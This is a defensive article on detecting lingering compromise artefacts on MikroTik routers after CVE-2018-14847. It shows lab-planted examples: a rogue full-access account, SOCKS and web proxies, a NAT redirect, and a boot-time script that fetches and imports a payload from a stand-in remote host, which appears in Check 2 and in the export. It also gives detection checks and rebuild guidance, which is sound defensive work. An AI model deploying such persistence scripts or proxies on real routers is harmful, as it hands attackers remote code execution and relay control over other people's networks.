CVE-2018-14847: Is Your MikroTik Still Backdoored?
Patching RouterOS closed the door but never removed what came through it. Six checks that find the accounts, scripts and proxies a compromise leaves behind.
CVE-2018-14847 was a path traversal flaw in the Winbox service that let an unauthenticated attacker read files from the router, including the user database. It was patched in 2018. That part is old news.
The part that is not: patching closed the door, but it never undid what came through it. Devices exploited during that window had accounts added, scheduled scripts installed, and proxies enabled. All of that is ordinary configuration. It survives a RouterOS upgrade, because an upgrade is supposed to preserve your configuration and has no way to know which parts you did not write.
So a router patched in 2019 can still be running someone else’s scheduler entry today.
To show what that looks like — and, more importantly, what it looks like in the artefact most people review — I planted the artefacts a typical compromise of this kind left behind, on a lab router, and then went looking for them. The interesting result was not that the checks find them. It was what the export does, and does not, show.
The setup
The router below is a RouterOS 7.24 instance with a rogue full-privilege account named
service, a script owned by it that fetches and imports a remote payload on every boot,
a scheduler to run that script, an enabled SOCKS proxy, an enabled web proxy, and a NAT
rule redirecting web traffic through the proxy. Every one of those is a real artefact
pattern from the exploitation wave. The fetch address is a documentation range that
resolves to nothing, because this is a lab, but it is written exactly as the real thing
would be.
Here is how you find each one.
Am I in scope?
If the device has ever run RouterOS below 6.42.1 or 6.40.8 with Winbox reachable from an untrusted network, assume it was scanned. This was mass exploitation, not targeted work — scanners swept the entire address space repeatedly for well over a year.
Current version tells you nothing about exposure. What matters is what the device was running when it was last reachable.
Check 1: accounts you did not create
/user print detail
0 ;;; system default user
name="admin" group=full inactivity-timeout=10m inactivity-policy=none
address="" last-logged-in=2026-09-08 23:54:21
1 name="service" group=full inactivity-timeout=10m inactivity-policy=none
address=""
There it is: service, group=full, usable from any address. The name is deliberately
mundane — the wave favoured plausible names over obviously hostile ones. Anything you
cannot account for here matters more than anything else on this list, and the reason why
becomes clear at the end.
Check 2: scheduler and scripts
/system scheduler print detail
/system script print detail
0 name="upd" start-time=startup interval=1d on-event=upd owner="admin"
policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon
run-count=0 next-run=2026-09-09 23:54:14
0 name="upd" owner="service"
policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon
dont-require-permissions=no run-count=0 source=
/tool fetch url="http://198.51.100.23/x" mode=http dst-path=upd2.rsc
/import upd2.rsc
This is where persistence lives. A scheduler entry that runs on-event=upd at
start-time=startup, and a script named upd, owned by service, whose body fetches a
file from a remote host and imports it. Every reboot re-downloads and re-runs whatever is
at that address.
Read the source of every script, not just the names. A script called upd looks like
an update task. Its contents are the whole story.
Check 3: SOCKS proxy
/ip socks print
enabled: yes
port: 1080
An enabled SOCKS proxy on a router nobody deliberately configured as one is the single strongest behavioural indicator on this list. It was turned on so the device could relay someone else’s traffic.
Check 4: NAT rules that redirect
/ip firewall nat print detail
0 ;;; masquerade
chain=srcnat action=masquerade out-interface-list=WAN
1 chain=dstnat action=redirect to-ports=1080 protocol=tcp dst-port=80
Rule 1 redirects inbound web traffic to port 1080 — the SOCKS port from the previous check. The two work together: traffic is pulled in by the NAT rule and relayed out through the proxy.
Check 5: files that should not be there
/file print
# NAME TYPE SIZE LAST-MODIFIED
0 skins directory 2026-08-23 16:39:52
1 hq-edge.rsc script 2241 2026-08-23 22:11:56
2 plant-artifacts.rsc script 1877 2026-09-08 23:54:04
Fetched payloads land in the filesystem. On a real compromise you would expect to see
the upd2.rsc the script downloads. Anything unfamiliar next to your own backups is
worth explaining before dismissing. (plant-artifacts.rsc here is my own prop; on your
device it is whatever you did not put there.)
Check 6: the web proxy
/ip proxy print
enabled: yes
port: 8080
Enabled web proxy, same reasoning as SOCKS. A device configured to proxy traffic that you never set up to proxy traffic is doing it for someone.
Now look at the export
Here is the thing worth the whole article. This is the same router’s /export, taken
straight after those six checks. The lab management interface, its firewall rule, and the
system ID have been removed and marked.
# 2026-09-08 23:57:21 by RouterOS 7.24
# system id = [redacted]
#
/interface list
add name=WAN
add name=LAN
/ip pool
add name=lan-pool ranges=10.10.10.100-10.10.10.200
/ip dhcp-server
add address-pool=lan-pool interface=ether2 name=lan-dhcp
/system script
add dont-require-permissions=no name=upd owner=service policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source="/\
tool fetch url=\"http://198.51.100.23/x\" mode=http dst-path=upd2.rsc\r\
\n/import upd2.rsc"
/ip address
add address=203.0.113.10/24 comment=WAN interface=ether1 network=203.0.113.0
add address=10.10.10.1/24 comment=LAN interface=ether2 network=10.10.10.0
/ip dns
set allow-remote-requests=yes servers=203.0.113.1
/ip firewall filter
add action=accept chain=input connection-state=established,related
add action=drop chain=input connection-state=invalid
add action=accept chain=input protocol=icmp
add action=accept chain=input in-interface-list=LAN
add action=drop chain=input comment="drop all else"
/ip firewall nat
add action=masquerade chain=srcnat comment=masquerade out-interface-list=WAN
add action=redirect chain=dstnat dst-port=80 protocol=tcp to-ports=1080
/ip proxy
set enabled=yes
/ip service
set ftp disabled=yes
set telnet disabled=yes
set www disabled=yes
/ip socks
set enabled=yes
/system identity
set name=hq-edge-01
/system scheduler
add !days interval=1d name=upd on-event=upd policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
start-time=startup
Five of the six artefacts are right there. The script, the scheduler, the enabled SOCKS, the enabled proxy, the NAT redirect — all visible to anyone who reads the export carefully.
The account is not. There is no /user section anywhere in that export. The rogue
service account — full privileges, the thing that actually owns the compromise — is the
one artefact the export does not record. RouterOS does not export the user database.
That inverts the usual advice. People are told to review the export to check a device. Here the export would let a careful reviewer find the script and even the odd scheduler entry — and then delete them, feel satisfied, and miss the full-access account that created them and can recreate them at the next login.
Look closer and the export is misleading even about what it shows. The scheduler comes
back with a phantom !days and no owner. The script’s owner=service survived here,
but scheduler ownership did not — so the export cannot reliably tell you who created a
given object. On a device with a hidden rogue user, ownership is exactly the field you
would want to trust, and it is the field the export mangles.
If you find something
Do not clean it item by item, and do not trust the export to enumerate it. If any of the six checks turns up something you cannot explain, treat every credential on the device as disclosed — the original vulnerability read the user database, so every password from that era must be assumed known, along with any password reused elsewhere.
The reliable path is a rebuild:
- Export the configuration for reference only, not for restoring — and read check 1 separately, because the export will not contain the accounts.
- Netinstall the device to wipe it completely.
- Rebuild the configuration by hand, reading each line as you go.
- Set new credentials everywhere, including anything that shared a password.
- Apply the hardening in the companion article before it goes back on the network.
Restoring a backup taken after the compromise restores the compromise. A binary backup restores the user database too, so it restores the rogue account the export never showed you.
If you find nothing
Good — but record what you checked and when. The value is being able to repeat this identically across every device you run, so that next year you know which ones were already cleared.
Verified on RouterOS 7.24 (stable), build 2026-08-14, running as CHR on VMware Workstation. The artefacts above were planted deliberately on a lab router to demonstrate the checks; the fetch address is a documentation range and resolves to nothing.